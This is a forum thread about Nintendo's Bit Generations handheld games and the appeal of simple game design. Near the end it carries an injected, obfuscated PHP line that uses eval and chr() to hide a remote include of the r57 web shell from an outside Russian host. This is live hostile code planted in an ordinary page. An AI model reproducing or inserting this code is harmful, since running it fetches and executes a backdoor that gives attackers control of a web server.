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Nintendo Bit Generations


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Anyone else playing the Nintendo Bit Generations series of games? http://www.nintendo.co.jp/n08/bit_g/index.html

I'm enjoying the hell out of them. Although I wish I understod the play mechanics of Coloris alittle better and I really don't get Biodrive. (I can't find english instructions). Also Boundish is alittle boring but ign says it gets much better in 2 player. http://gameboy.ign.com/articles/720/720397p1.html

That's what I'm playing :cool:

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Games are all headed towards super-realism, and high resource requirements. It's very nice to see simpler, addictive games come out again that aren't on Yahoo! Games,etc. (those annoy me like crazy becayse they're all variations on jewel puzzle games). Game designers should go back and try designing games for older hardware or hardware with fewer goodies to test their art, kind of like how we think it's neat sometimes to make a movie in black-and-white nowadays. You should see what Ron Gilbert (Monkey Island anyone?) has to say about that here: Ron Gilbert Interview at Designer Threads on Gamespot.com

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Games are all headed towards super-realism, and high resource requirements. It's very nice to see simpler, addictive games come out again that aren't on Yahoo! Games,etc. (those annoy me like crazy becayse they're all variations on jewel puzzle games). Game designers should go back and try designing games for older hardware or hardware with fewer goodies to test their art, kind of like how we think it's neat sometimes to make a movie in black-and-white nowadays. You should see what Ron Gilbert (Monkey Island anyone?) has to say about that here: Ron Gilbert Interview at Designer Threads on Gamespot.com

is cool. :w00t:

eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //

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